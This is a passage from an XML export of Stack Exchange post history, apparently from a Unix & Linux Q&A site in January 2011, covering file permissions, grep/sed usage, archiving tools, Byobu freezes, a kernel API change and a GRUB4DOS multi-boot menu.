  <row Id="15288" PostHistoryTypeId="2" PostId="6654" RevisionGUID="c10e70e7-f75a-442e-81b4-eed272ae8c6d" CreationDate="2011-01-29T21:13:51.293" UserId="4313" Text="If I `chmod 770 ./folderName` then all the users in the *others* &quot;group&quot; can not access `./folderName/folderB` or `./folderName/fileC`, despite if the user:&#xD;&#xA;&#xD;&#xA;    chmod 777 ./folderName/folderB &#xD;&#xA;    chmod 777 ./folderName/fileC&#xD;&#xA;&#xD;&#xA;Right? Does that rule applies to all Linux distributions? Thank you." />
  <row Id="15289" PostHistoryTypeId="1" PostId="6654" RevisionGUID="c10e70e7-f75a-442e-81b4-eed272ae8c6d" CreationDate="2011-01-29T21:13:51.293" UserId="4313" Text="`chmod 770 folderName` restrics access to subdirectories &amp; subfiles ?" />
  <row Id="15290" PostHistoryTypeId="3" PostId="6654" RevisionGUID="c10e70e7-f75a-442e-81b4-eed272ae8c6d" CreationDate="2011-01-29T21:13:51.293" UserId="4313" Text="élinuxàépermissionsà" />
  <row Id="15291" PostHistoryTypeId="2" PostId="6655" RevisionGUID="c75f229e-2587-478b-98af-5065ecfe033e" CreationDate="2011-01-29T21:27:24.600" UserId="3309" Text="That's correct. Removing execute permission will prevent access to the directory and all subdirectories, even if subdirectories are more permissive.&#xD;&#xA;&#xD;&#xA;This will probably hold true for anything Unix like (and it may even be a POSIX requirement)." />
  <row Id="15292" PostHistoryTypeId="5" PostId="6651" RevisionGUID="b4065d23-b275-465f-9c28-3de3049e390d" CreationDate="2011-01-29T21:27:57.097" UserId="3069" Comment="deleted 23 characters in body" Text="`grep`s parameter `-l` will only output the filenames which are matching `$PATTERN`, `wc` can count them afterwards.&#xD;&#xA;&#xD;&#xA;    grep -l &quot;$PATTERN&quot; * | wc -l" />
  <row Id="15293" PostHistoryTypeId="5" PostId="6653" RevisionGUID="a4e8a3fc-5ee5-400f-83ca-9f36de3ae7cb" CreationDate="2011-01-29T22:14:39.990" UserId="4311" Comment="as suggested by @bahaman, thanks!!" Text="`grep -l &quot;string&quot; * | wc -l` will search for &quot;given string&quot; in the contents of all files in the working directory and tell you how many matched." />
  <row Id="15294" PostHistoryTypeId="24" PostId="6653" RevisionGUID="5caf75aa-4a7f-4ff9-87c9-0ffdff83f8fc" CreationDate="2011-01-29T22:14:39.990" Comment="Proposed by 4311 approved by 73 edit id of 4" />
  <row Id="15295" PostHistoryTypeId="2" PostId="6656" RevisionGUID="d2287c41-b5cd-43bf-b858-17fa86ef7e7d" CreationDate="2011-01-29T22:32:23.613" UserId="4308" Text="Try this:&#xD;&#xA;&#xD;&#xA;    perl -e 's/foo/bar/g;' -pi `egrep -l 'foo' $(find -type f)`&#xD;&#xA;&#xD;&#xA;That searches for the regular expression and returns on the filenames where it is found. Then Perl will operate only on those files." />
  <row Id="15296" PostHistoryTypeId="2" PostId="6657" RevisionGUID="dde40e13-1ac4-4a39-90e7-f04c6056d2a0" CreationDate="2011-01-29T22:40:12.557" UserId="4308" Text="    unzip &lt;filename&gt;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    zip -r archive.zip &lt;filename&gt; [filename]&#xD;&#xA;&#xD;&#xA;You'll need to make sure these commands are installed via your package manager. It's no harder than using anything else on the command line. It's certainly simpler than creating archives with tar." />
  <row Id="15297" PostHistoryTypeId="2" PostId="6658" RevisionGUID="010ab318-0088-43f6-a56e-4dc8f46b9b7a" CreationDate="2011-01-29T22:41:38.467" UserId="4317" Text="This should be a suitable replacement:&#xD;&#xA;&#xD;&#xA;`grep -l foo * |xargs sed -i 's/foo/bar/g'`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15298" PostHistoryTypeId="2" PostId="6659" RevisionGUID="7f541629-f348-4539-b548-530faf3be41d" CreationDate="2011-01-29T22:59:37.330" UserId="2333" Text="I found this just after I posted the question:&#xD;&#xA;&#xD;&#xA;`for f in file1.*; do mv &quot;$f&quot; &quot;${f/file1/newfilename}&quot;; done`&#xD;&#xA;&#xD;&#xA;Works like a charm." />
  <row Id="15299" PostHistoryTypeId="25" PostId="6648" RevisionGUID="464189a2-2487-47e9-9c44-0531348a3612" CreationDate="2011-01-29T23:16:08.657" Comment="http://twitter.com/#!/StackUnix/status/31490808989351937" />
  <row Id="15300" PostHistoryTypeId="2" PostId="6660" RevisionGUID="a8bd5da9-5311-41c7-a4f0-b0d37e35ea56" CreationDate="2011-01-29T23:16:31.403" UserId="2630" Text="For a while now I've been using Byobu to manage screen sessions for me. However  I've run into a strange issue: The session keeps locking. By locking I mean that I can't type anything, and only if I wait a few minuites does unlock and do everything I typed in before.&#xD;&#xA;&#xD;&#xA;Currently its getting worse. The session keeps locking every minute or so. Even when I've restarted Putty, switched from Private Key auth to password auth, and even changed Putty installations, it still freezes. Its gotten to the point where I'll login and the current window is frozen but I'm able to switch to another window, only for that to freeze in a few seconds. &#xD;&#xA;&#xD;&#xA;Another new development is that sometimes when I first login Byobu won't even come up, it will just sit there after the &quot;Last login&quot; line. One time I got a `WriteMessage: Broken pipe` error and it dropped to normal shell without byobu.&#xD;&#xA;&#xD;&#xA;Strangely the tunnel's I've opened up still work. I was able to check the CPU graphs and saw that the server wasn't under any load, meaning that the session didn't freeze because it had other things to do. &#xD;&#xA;&#xD;&#xA;Any suggestions on how to fix this?" />
  <row Id="15301" PostHistoryTypeId="1" PostId="6660" RevisionGUID="a8bd5da9-5311-41c7-a4f0-b0d37e35ea56" CreationDate="2011-01-29T23:16:31.403" UserId="2630" Text="Byobu/screen constantly freezes in Putty" />
  <row Id="15302" PostHistoryTypeId="3" PostId="6660" RevisionGUID="a8bd5da9-5311-41c7-a4f0-b0d37e35ea56" CreationDate="2011-01-29T23:16:31.403" UserId="2630" Text="éscreenàéputtyàébyobuà" />
  <row Id="15303" PostHistoryTypeId="2" PostId="6661" RevisionGUID="932c03d6-c9aa-4b4d-9ec6-7aa3651ebeb3" CreationDate="2011-01-29T23:58:31.320" UserId="3940" Text="I think it's worth mentioning that you might not always want to do this.  I seem to remember, for instance, needing to config emacs to add xft support.  If you want to bypass the prompts for a single build,&#xD;&#xA;&#xD;&#xA;    make install clean BATCH=yes&#xD;&#xA;&#xD;&#xA;will work as well." />
  <row Id="15304" PostHistoryTypeId="2" PostId="6662" RevisionGUID="c070d5e2-f14a-4354-b8e5-40dda133ad00" CreationDate="2011-01-30T00:50:09.847" UserId="1571" Text="I'm working on building a kernel module for an input device, and I noticed that in the module source, there's a couple calls to `input_get_keycode(data-&gt;input_dev, scancode, &amp;keycode);` When I was compiling I was getting errors that there's no function with that prototype.&#xD;&#xA;&#xD;&#xA;Looking into the `input/input.c` source code, this is the definition of `input_get_keycode`:&#xD;&#xA;&#xD;&#xA;    int input_get_keycode(struct input_dev *dev, struct input_keymap_entry *ke)&#xD;&#xA;&#xD;&#xA;I tried to look online, and I found a couple obscure references to changing the kernel to be able to deal with large keymaps better, and apparently this function was changed to better handle that. Looking at an older source from input/input.c, the `input_get_keycode` function was defined as &#xD;&#xA;&#xD;&#xA;    int input_get_keycode(struct input_dev *dev, unsigned int scancode, unsigned int *keycode)&#xD;&#xA;&#xD;&#xA;My question is, when was this changed. Is there notes on the change? I'm building the `ubuntu natty` kernel from git which is from my understanding from the `2.6.37-rc3` branch.&#xD;&#xA;&#xD;&#xA;Is this a ubuntu specific change? Or is this a change in the mainline kernel. I also have the `maverick` source from git which has the old style (3 input) function." />
  <row Id="15305" PostHistoryTypeId="1" PostId="6662" RevisionGUID="c070d5e2-f14a-4354-b8e5-40dda133ad00" CreationDate="2011-01-30T00:50:09.847" UserId="1571" Text="Changes to input_get_keycode function in linux kernel (input/input.c)" />
  <row Id="15306" PostHistoryTypeId="3" PostId="6662" RevisionGUID="c070d5e2-f14a-4354-b8e5-40dda133ad00" CreationDate="2011-01-30T00:50:09.847" UserId="1571" Text="éubuntuàékernelàédriversàékernelömodulesà" />
  <row Id="15308" PostHistoryTypeId="2" PostId="6663" RevisionGUID="46f4bcc6-c110-488a-8d08-65ccf76eb158" CreationDate="2011-01-30T01:40:57.033" UserId="1078" Text="If you are working on a kernel module, I very much recommend that you get a git tree. Obviously Linus's tree is mandatory - I also get the stable trees. Since you are working on Ubuntu, I'd check to see if they have a tree with their changes you can pull from.&#xD;&#xA;&#xD;&#xA;Using the git tree, I was able to checkout `master` and run `git blame drivers/input/input.c` to see that the function signature for `input_get_keycode` was last changed in commit `8613e4c2`.&#xD;&#xA;&#xD;&#xA;Running `git show 8613e4c2` gives me the commit message for that change (the notes that you wanted) as well as the patch that implements the change. I can see that the change was made on 2010-09-09.&#xD;&#xA;&#xD;&#xA;Starting up `gitk` (a graphical git viewer) and telling it to go to that commit I can see that the commit precedes v2.6.37-rc1, telling me it was merged into that release. Following the branch up to when Linus merged it, I can see it was merged on 2010-10-26 in commit 3a99c631.&#xD;&#xA;&#xD;&#xA;This is all mainline without looking at Ubuntu patches, so it looks like the change has nothing to do with Ubuntu." />
  <row Id="15309" PostHistoryTypeId="2" PostId="6664" RevisionGUID="763afcaf-3863-45f2-9944-c73033965e8b" CreationDate="2011-01-30T01:54:19.667" UserId="4319" Text="As for the database, and **in the case you are looking for an English-English dictionary** (you haven't stated that explicitly! :( ), I'm quite content with GCIDE (derived from Webster1913; has pronunciation and middle-quality etymologies) and wordnet.&#xD;&#xA;&#xD;&#xA;**As for the interface,** I use these databases installed in my local dictd through emacs-dictionary client. (Formerly, I used to use Stardict to access these databases.)&#xD;&#xA;&#xD;&#xA;Packages with the mentioned stuff in the distro I use:&#xD;&#xA;&#xD;&#xA;* http://prometheus.altlinux.org/en/Sisyphus/srpms/dict-gcide&#xD;&#xA;* http://prometheus.altlinux.org/en/Sisyphus/srpms/wordnet&#xD;&#xA;* http://prometheus.altlinux.org/en/Sisyphus/srpms/dictd&#xD;&#xA;* http://prometheus.altlinux.org/en/Sisyphus/srpms/emacs-dictionary&#xD;&#xA;* http://prometheus.altlinux.org/en/Sisyphus/srpms/stardict" />
  <row Id="15310" PostHistoryTypeId="25" PostId="6662" RevisionGUID="30bdc306-9b4e-4409-8909-146c0fec16b0" CreationDate="2011-01-30T02:16:08.673" Comment="http://twitter.com/#!/StackUnix/status/31536107921342464" />
  <row Id="15311" PostHistoryTypeId="5" PostId="6663" RevisionGUID="6e3fc650-4b84-4de9-a55c-96f96ee0669f" CreationDate="2011-01-30T02:46:10.877" UserId="1078" Comment="Add link to commit" Text="If you are working on a kernel module, I very much recommend that you get a git tree. Obviously Linus's tree is mandatory - I also get the stable trees. Since you are working on Ubuntu, I'd check to see if they have a tree with their changes you can pull from.&#xD;&#xA;&#xD;&#xA;Using the git tree, I was able to checkout `master` and run `git blame drivers/input/input.c` to see that the function signature for `input_get_keycode` was last changed in commit [`8613e4c2`][1].&#xD;&#xA;&#xD;&#xA;Running `git show 8613e4c2` gives me the commit message for that change (the notes that you wanted) as well as the patch that implements the change. I can see that the change was made on 2010-09-09.&#xD;&#xA;&#xD;&#xA;Starting up `gitk` (a graphical git viewer) and telling it to go to that commit I can see that the commit precedes v2.6.37-rc1, telling me it was merged into that release. Following the branch up to when Linus merged it, I can see it was merged on 2010-10-26 in commit 3a99c631.&#xD;&#xA;&#xD;&#xA;This is all mainline without looking at Ubuntu patches, so it looks like the change has nothing to do with Ubuntu.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=8613e4c2872a87cc309a42de2c7091744dc54d0e" />
  <row Id="15312" PostHistoryTypeId="25" PostId="6649" RevisionGUID="79bb12f3-da37-4ce0-9096-58f3bc4e13ba" CreationDate="2011-01-30T05:16:08.877" Comment="http://twitter.com/#!/StackUnix/status/31581407310520320" />
  <row Id="15313" PostHistoryTypeId="5" PostId="4725" RevisionGUID="5eeb42d0-e15d-4995-8af6-c18fcc193b69" CreationDate="2011-01-30T06:31:09.670" UserId="3040" Comment="grammar" Text="I have:&#xD;&#xA;&#xD;&#xA; 1. Ubuntu 10.10&#xD;&#xA; 2. Windows 7 in virtual box (let's call this vbox)&#xD;&#xA; 3. Then another Windows 7 machine (let's call this remote) in the network&#xD;&#xA;&#xD;&#xA;When I'm on vbox and browse (\\ip.of.remote) I'm able to see the shared drives. No password was setup, and none was asked. When on Ubuntu, and I go to smb://ip.of.remote it asks for username/password.&#xD;&#xA;&#xD;&#xA;How do I fix this?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;UPDATE&#xD;&#xA;&#xD;&#xA;* **Jan 30 2011**: I'm able to connect from Xubuntu to Windows (via Gigolo). It allows me to press connect even if there's no username. With Ubuntu though, if I remove the username, the connect button is grayed out. Maybe then it's just an interface problem?" />
  <row Id="15314" PostHistoryTypeId="2" PostId="6665" RevisionGUID="21002fd6-ed1f-48b1-a3c2-a0084f9c7b39" CreationDate="2011-01-30T06:32:33.153" UserId="4323" Text="Linux standards base is a set of APIs that are guaranteed to be available on an LSB compliant installation. This mostly requires installing some other free software libraries that most distributions already have available - such as POSIX compliant libc, C++ compiler support, Python, Perl, GTK+ and Qt.&#xD;&#xA;&#xD;&#xA;All major Linux vendors today ship LSB compliant operating systems, that includes RedHat, Debian, Ubuntu and Novell - so I don't believe there is much contention about it.&#xD;&#xA;&#xD;&#xA;Back when LSB first started people were a bit &quot;meh - who cares&quot;. Later there was contention about which APIs to include: if Perl is to be required then what about Python? If GTK+ is required then what about Qt developers? This would have made for some pretty fancy flame wars if not for the &quot;meh&quot; attitude of many operating system vendors towards LSB. Eventually all this was settled by the Linux Foundation being all inclusive and supporting multiple APIs that do the same thing and now it looks that everyone is content." />
  <row Id="15315" PostHistoryTypeId="2" PostId="6666" RevisionGUID="b0dd4242-871c-4e95-b716-83ca1a88b7b0" CreationDate="2011-01-30T07:13:08.280" UserId="3848" Text="Adding the non-zero return value of the last command is a great idea.  I think the original poster was specifically asking about .profile/.cshrc/.bashrc.   It's worth mentioning the list of other commonly customized RC files, but I would stick to just shell customizations for this question." />
  <row Id="15316" PostHistoryTypeId="2" PostId="6667" RevisionGUID="e82a5bbc-ced7-49f8-a759-fd79b2d9ed03" CreationDate="2011-01-30T07:57:22.793" UserId="1290" Text="Well, when it comes to distributing files for a variety of operating systems, I'd recommend [7-zip][1].&#xD;&#xA;&#xD;&#xA;Usually in the package `p7zip`, you'll get the `7z` and `7za` command, with which you can create your own 7z archives.&#xD;&#xA;&#xD;&#xA;`7za` can also decompress standard ([pkzip][2]) zip archives (and create them as well with the `-tzip` switch).&#xD;&#xA;&#xD;&#xA;Compressing:&#xD;&#xA;&#xD;&#xA;    7za a archive.7z file1 file2 directory/&#xD;&#xA;&#xD;&#xA;Decompressing:&#xD;&#xA;&#xD;&#xA;    7za x archive.7z&#xD;&#xA;&#xD;&#xA;It can also create self-extracting archives with the `-sfx` switch:&#xD;&#xA;&#xD;&#xA;    7za a -sfx archive.exe files1 file2 dir&#xD;&#xA;&#xD;&#xA;I recommend this method in case Windows users can't open 7z archives (in case you want to advice a tool for that: [PeaZip][3]).&#xD;&#xA;&#xD;&#xA;If you want to use the same compression algorithm with your tarballs, use the `-J` switch with `tar`:&#xD;&#xA;&#xD;&#xA;    tar cJf archive.tar.xz file1 file2 dir&#xD;&#xA;&#xD;&#xA;[`xz`][4] is a UNIX tool, that uses LZMA2 for compression, but works the way `gz`, `bz2`, etc works. It even works as a filter.&#xD;&#xA;&#xD;&#xA;7z doesn't create archives with full filesystem information on UNIX, so you'd need to use `tar` before using 7z (but since 7z stores other information about the `tar` file, I'd recommend using `xz`, as it is designed for it):&#xD;&#xA;&#xD;&#xA;    tar cf - file1 file2 dir | 7za z -si archive.tar.7z&#xD;&#xA;&#xD;&#xA;  [1]: http://7-zip.org&#xD;&#xA;  [2]: http://http://en.wikipedia.org/wiki/PKZIP&#xD;&#xA;  [3]: http://http://www.peazip.org/&#xD;&#xA;  [4]: http://tukaani.org/xz/" />
  <row Id="15317" PostHistoryTypeId="2" PostId="6668" RevisionGUID="69174a3b-1d56-4b59-b371-8146ff1168ec" CreationDate="2011-01-30T08:04:09.803" UserId="1290" Text="`.zshrc`:&#xD;&#xA;&#xD;&#xA;    alias l='ls -CF'&#xD;&#xA;    alias ll='ls -ClhF'&#xD;&#xA;    alias la='ls -CaF'&#xD;&#xA;    alias lla='ls -CalhF'&#xD;&#xA;    alias l.='ls -CAF --ignore=\*'&#xD;&#xA;    alias ll.='ls -CAlhF --ignore=\*'&#xD;&#xA;    alias t='tree -C'&#xD;&#xA;    &#xD;&#xA;    PS1=$'%{\e[0;33m%}%m %{\e[32;1m%}%~ %{\e[0;31m%}%#%{\e[m%} '&#xD;&#xA;    &#xD;&#xA;    bindkey '^[[3~' delete-char&#xD;&#xA;&#xD;&#xA;    export GREP_OPTIONS=&quot;--color&quot;&#xD;&#xA;&#xD;&#xA;`.xmodmaprc`:&#xD;&#xA;&#xD;&#xA;    clear lock&#xD;&#xA;    keycode 9 = Caps_Lock ISO_Next_Group Caps_Lock ISO_Next_Group&#xD;&#xA;    keycode 66 = Escape NoSymbol Escape&#xD;&#xA;    add lock = Caps_Lock&#xD;&#xA;(Swaps Escape and Caps Lock keys).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15318" PostHistoryTypeId="25" PostId="6610" RevisionGUID="fefc23f6-378b-48e0-a53b-ff537d180f4e" CreationDate="2011-01-30T08:16:08.440" Comment="http://twitter.com/#!/StackUnix/status/31626704103407616" />
  <row Id="15319" PostHistoryTypeId="2" PostId="6669" RevisionGUID="8f835235-5c96-4e01-aef1-98e253cecb29" CreationDate="2011-01-30T10:03:01.810" UserId="4309" Text="What you are trying to achieve is stretching boot technology  :)&#xD;&#xA;However I think it is possible, though I am not knowledgable enough to give a complete walkthrough.&#xD;&#xA;&#xD;&#xA;First, like said before, distros have very different requirements. Second, the good thing on the other hand, you can also find distros which need minimal requirements.&#xD;&#xA;&#xD;&#xA;I would recommend to use GRUB4DOS as bootloader. This is how to use it with USB:&#xD;&#xA;[http://www.themudcrab.com/acronis_grub4dos.php][1]&#xD;&#xA;&#xD;&#xA;Then you have to decide how many partitions you will use.&#xD;&#xA;&quot;Standard install&quot; is always in a single partition. So if you have a 8 GB USB stick and take 4 GB partition (which allows minimal installation) you would be limmited to 2 different &quot;Full Installs&quot; of main distros like debian or fedora.&#xD;&#xA;&#xD;&#xA;However there are some small and specialized Linux distributions. For example &quot;Puppy Linux&quot; is very small and has a special &quot;Frugal Installation&quot; mode. It comes in many flavors (e.g. there is MacPup with tries to implement an Apple like Desktop, or Fatdog64 which is a 64-bit Linux).&#xD;&#xA;&#xD;&#xA;In this frugal installation mode it just uses exactly 1 directory and can be installed in parallel to an existing Linux or Windows on the harddisk. I am sure there are other distributions that support similar modes.&#xD;&#xA;&#xD;&#xA;Since Puppy Linux is small (&lt; 150 MB) and assuming you reserve a small savefile for each installation (512 MB), you could easily install like 10 different Operating Systems on the USB stick. There are even smaller Linuxes (Slitaz, Tinycore), which you could use.&#xD;&#xA;&#xD;&#xA;As example I attach the menu.lst (GRUB4DOS) file from my current PC-install,&#xD;&#xA;The first 8 entries are all different Puppy Linux installation on hd0,2 (i.e. the 3rd partition on the 1st hardisk), then there is a minimal debian installation in a small extra partition and also the original Windows-XP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    timeout=10&#xD;&#xA;    default=0  &#xD;&#xA;    &#xD;&#xA;      title Linux Buero (on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /puppy431-de/vmlinuz psubdir=puppy431-de pkeys=de ro vga=normal&#xD;&#xA;      initrd /puppy431-de/initrd.gz&#xD;&#xA;        &#xD;&#xA;      title Live CD build (on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /puppylivecdbuild/vmlinuz psubdir=puppylivecdbuild ro vga=normal&#xD;&#xA;      initrd /puppylivecdbuild/initrd.gz&#xD;&#xA;       &#xD;&#xA;      title sage developement(on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /Sage46dev/vmlinuz psubdir=Sage46dev pfix=nocopy ro vga=normal&#xD;&#xA;      initrd /Sage46dev/initrd.gz&#xD;&#xA;    &#xD;&#xA;      title sage developement test and fun&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /Sage-test/vmlinuz psubdir=Sage-test pfix=nocopy,noram ro vga=normal&#xD;&#xA;      initrd /Sage-test/initrd.gz&#xD;&#xA;    &#xD;&#xA;      title Lupq 511&#xD;&#xA;      find --set-root --ignore-floppies /lupq511/initrd.gz&#xD;&#xA;      kernel /lupq511/vmlinuz psubdir=&quot;lupq511&quot; pfix=nocopy pkeys=de ro vga=normal&#xD;&#xA;      initrd /lupq511/initrd.gz &#xD;&#xA;    &#xD;&#xA;      title Lupu 520 - New kid on the block&#xD;&#xA;      find --set-root --ignore-floppies /lupu-520/initrd.gz&#xD;&#xA;      kernel /lupu-520/vmlinuz psubdir=&quot;lupu-520&quot; pfix=nocopy pkeys=de ro vga=normal&#xD;&#xA;      initrd /lupu-520/initrd.gz &#xD;&#xA;    &#xD;&#xA;      title wary beta (on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /wary/vmlinuz psubdir=wary ro vga=normal&#xD;&#xA;      initrd /wary/initrd.gz&#xD;&#xA;    &#xD;&#xA;      title spup (on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /spup/vmlinuz psubdir=spup ro vga=normal&#xD;&#xA;      initrd /spup/initrd.gz&#xD;&#xA;    &#xD;&#xA;      title Debian (on /dev/sda2)&#xD;&#xA;      find --set-root --ignore-floppies /initrd.img&#xD;&#xA;      kernel /vmlinuz root=/dev/sda2 ro&#xD;&#xA;      initrd /initrd.img&#xD;&#xA;    &#xD;&#xA;      title Windows NT/2K/XP\nStart Windows if installed on HDD&#xD;&#xA;      fallback 7&#xD;&#xA;      find --set-root --ignore-floppies /ntldr&#xD;&#xA;      chainloader /ntldr&#xD;&#xA;   &#xD;&#xA;    boot&#xD;&#xA;&#xD;&#xA;The menu.lst on your USB could look similar, the GRUB4DOS command&#xD;&#xA;`find --set-root --ignore-floppies /lupq511/initrd.gz`  (looks for this file in all drives) could be very useful if you use USB, so you don't have to use fixed entries for your drive.&#xD;&#xA;&#xD;&#xA;One last idea. If you dont want to use different partitions you could try something like &quot;WUBI&quot; installs for the distros demanding a full install to its own partition. This means that you create large files with its own ext2/ext3 filesystems on the USB, then mount them as &quot;drives&quot; and install the OS into it.&#xD;&#xA;(I call it WUBI, because this is the best known application).&#xD;&#xA;&#xD;&#xA;the following should be a Grub4dos menu.lst entry to boot a &quot;Wubi install&quot;.&#xD;&#xA;&#xD;&#xA;    # Add the ntfs module&#xD;&#xA;    insmod ntfs&#xD;&#xA;    # Set root (normally would be sda1, or hd0,1 Change as necessary&#xD;&#xA;    set root=(hd0,1)&#xD;&#xA;    loopback loop0 /ubuntu/disks/root.disk&#xD;&#xA;    set root=(loop0)&#xD;&#xA;    linux /boot/vmlinuz root=/dev/sda1 loop=/ubuntu/disks/root.disk ro&#xD;&#xA;    initrd /boot/initrd/initrd.img&#xD;&#xA;    boot&#xD;&#xA;&#xD;&#xA;From www.themudcrab.com/acronis_grub4dos.php.&#xD;&#xA;&#xD;&#xA;You see, there are 2 &quot;set root&quot; commands, the second after &quot;root.disk&quot; which contains the Linux, is mounted as loop0.&#xD;&#xA;&#xD;&#xA;I hope I could give some ideas, although it is no complete walkthrough,&#xD;&#xA;best&#xD;&#xA;Emil&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15320" PostHistoryTypeId="5" PostId="6669" RevisionGUID="c437c3b3-2dd0-4d1c-988f-1f712af14a4d" CreationDate="2011-01-30T10:16:25.700" UserId="3069" Comment="deleted 17 characters in body; added 68 characters in body" Text="What you are trying to achieve is stretching boot technology  :)&#xD;&#xA;However I think it is possible, though I am not knowledgable enough to give a complete walkthrough.&#xD;&#xA;&#xD;&#xA;First, like said before, distros have very different requirements. Second, the good thing on the other hand, you can also find distros which need minimal requirements.&#xD;&#xA;&#xD;&#xA;I would recommend to use GRUB4DOS as bootloader. See this [link][1] how to use it with USB.&#xD;&#xA;&#xD;&#xA;Then you have to decide how many partitions you will use.&#xD;&#xA;&quot;Standard install&quot; is always in a single partition. So if you have a 8 GB USB stick and take 4 GB partition (which allows minimal installation) you would be limmited to 2 different &quot;Full Installs&quot; of main distros like debian or fedora.&#xD;&#xA;&#xD;&#xA;However there are some small and specialized Linux distributions. For example &quot;Puppy Linux&quot; is very small and has a special &quot;Frugal Installation&quot; mode. It comes in many flavors (e.g. there is MacPup with tries to implement an Apple like Desktop, or Fatdog64 which is a 64-bit Linux).&#xD;&#xA;&#xD;&#xA;In this frugal installation mode it just uses exactly 1 directory and can be installed in parallel to an existing Linux or Windows on the harddisk. I am sure there are other distributions that support similar modes.&#xD;&#xA;&#xD;&#xA;Since Puppy Linux is small (&lt; 150 MB) and assuming you reserve a small savefile for each installation (512 MB), you could easily install like 10 different Operating Systems on the USB stick. There are even smaller Linuxes (Slitaz, Tinycore), which you could use.&#xD;&#xA;&#xD;&#xA;As example I attach the menu.lst (GRUB4DOS) file from my current PC-install,&#xD;&#xA;The first 8 entries are all different Puppy Linux installation on hd0,2 (i.e. the 3rd partition on the 1st hardisk), then there is a minimal debian installation in a small extra partition and also the original Windows-XP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    timeout=10&#xD;&#xA;    default=0  &#xD;&#xA;    &#xD;&#xA;      title Linux Buero (on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /puppy431-de/vmlinuz psubdir=puppy431-de pkeys=de ro vga=normal&#xD;&#xA;      initrd /puppy431-de/initrd.gz&#xD;&#xA;        &#xD;&#xA;      title Live CD build (on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /puppylivecdbuild/vmlinuz psubdir=puppylivecdbuild ro vga=normal&#xD;&#xA;      initrd /puppylivecdbuild/initrd.gz&#xD;&#xA;       &#xD;&#xA;      title sage developement(on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /Sage46dev/vmlinuz psubdir=Sage46dev pfix=nocopy ro vga=normal&#xD;&#xA;      initrd /Sage46dev/initrd.gz&#xD;&#xA;    &#xD;&#xA;      title sage developement test and fun&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /Sage-test/vmlinuz psubdir=Sage-test pfix=nocopy,noram ro vga=normal&#xD;&#xA;      initrd /Sage-test/initrd.gz&#xD;&#xA;    &#xD;&#xA;      title Lupq 511&#xD;&#xA;      find --set-root --ignore-floppies /lupq511/initrd.gz&#xD;&#xA;      kernel /lupq511/vmlinuz psubdir=&quot;lupq511&quot; pfix=nocopy pkeys=de ro vga=normal&#xD;&#xA;      initrd /lupq511/initrd.gz &#xD;&#xA;    &#xD;&#xA;      title Lupu 520 - New kid on the block&#xD;&#xA;      find --set-root --ignore-floppies /lupu-520/initrd.gz&#xD;&#xA;      kernel /lupu-520/vmlinuz psubdir=&quot;lupu-520&quot; pfix=nocopy pkeys=de ro vga=normal&#xD;&#xA;      initrd /lupu-520/initrd.gz &#xD;&#xA;    &#xD;&#xA;      title wary beta (on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /wary/vmlinuz psubdir=wary ro vga=normal&#xD;&#xA;      initrd /wary/initrd.gz&#xD;&#xA;    &#xD;&#xA;      title spup (on /dev/sda3)&#xD;&#xA;      root (hd0,2)&#xD;&#xA;      kernel /spup/vmlinuz psubdir=spup ro vga=normal&#xD;&#xA;      initrd /spup/initrd.gz&#xD;&#xA;    &#xD;&#xA;      title Debian (on /dev/sda2)&#xD;&#xA;      find --set-root --ignore-floppies /initrd.img&#xD;&#xA;      kernel /vmlinuz root=/dev/sda2 ro&#xD;&#xA;      initrd /initrd.img&#xD;&#xA;    &#xD;&#xA;      title Windows NT/2K/XP\nStart Windows if installed on HDD&#xD;&#xA;      fallback 7&#xD;&#xA;      find --set-root --ignore-floppies /ntldr&#xD;&#xA;      chainloader /ntldr&#xD;&#xA;   &#xD;&#xA;    boot&#xD;&#xA;&#xD;&#xA;The menu.lst on your USB could look similar, the GRUB4DOS command&#xD;&#xA;`find --set-root --ignore-floppies /lupq511/initrd.gz`  (looks for this file in all drives) could be very useful if you use USB, so you don't have to use fixed entries for your drive.&#xD;&#xA;&#xD;&#xA;One last idea. If you dont want to use different partitions you could try something like &quot;WUBI&quot; installs for the distros demanding a full install to its own partition. This means that you create large files with its own ext2/ext3 filesystems on the USB, then mount them as &quot;drives&quot; and install the OS into it.&#xD;&#xA;(I call it WUBI, because this is the best known application).&#xD;&#xA;&#xD;&#xA;the following should be a Grub4dos menu.lst entry to boot a &quot;Wubi install&quot;.&#xD;&#xA;&#xD;&#xA;    # Add the ntfs module&#xD;&#xA;    insmod ntfs&#xD;&#xA;    # Set root (normally would be sda1, or hd0,1 Change as necessary&#xD;&#xA;    set root=(hd0,1)&#xD;&#xA;    loopback loop0 /ubuntu/disks/root.disk&#xD;&#xA;    set root=(loop0)&#xD;&#xA;    linux /boot/vmlinuz root=/dev/sda1 loop=/ubuntu/disks/root.disk ro&#xD;&#xA;    initrd /boot/initrd/initrd.img&#xD;&#xA;    boot&#xD;&#xA;&#xD;&#xA;From [here][2].&#xD;&#xA;&#xD;&#xA;You see, there are 2 &quot;set root&quot; commands, the second after &quot;root.disk&quot; which contains the Linux, is mounted as loop0.&#xD;&#xA;&#xD;&#xA;I hope I could give some ideas, although it is no complete walkthrough,&#xD;&#xA;best&#xD;&#xA;Emil&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: 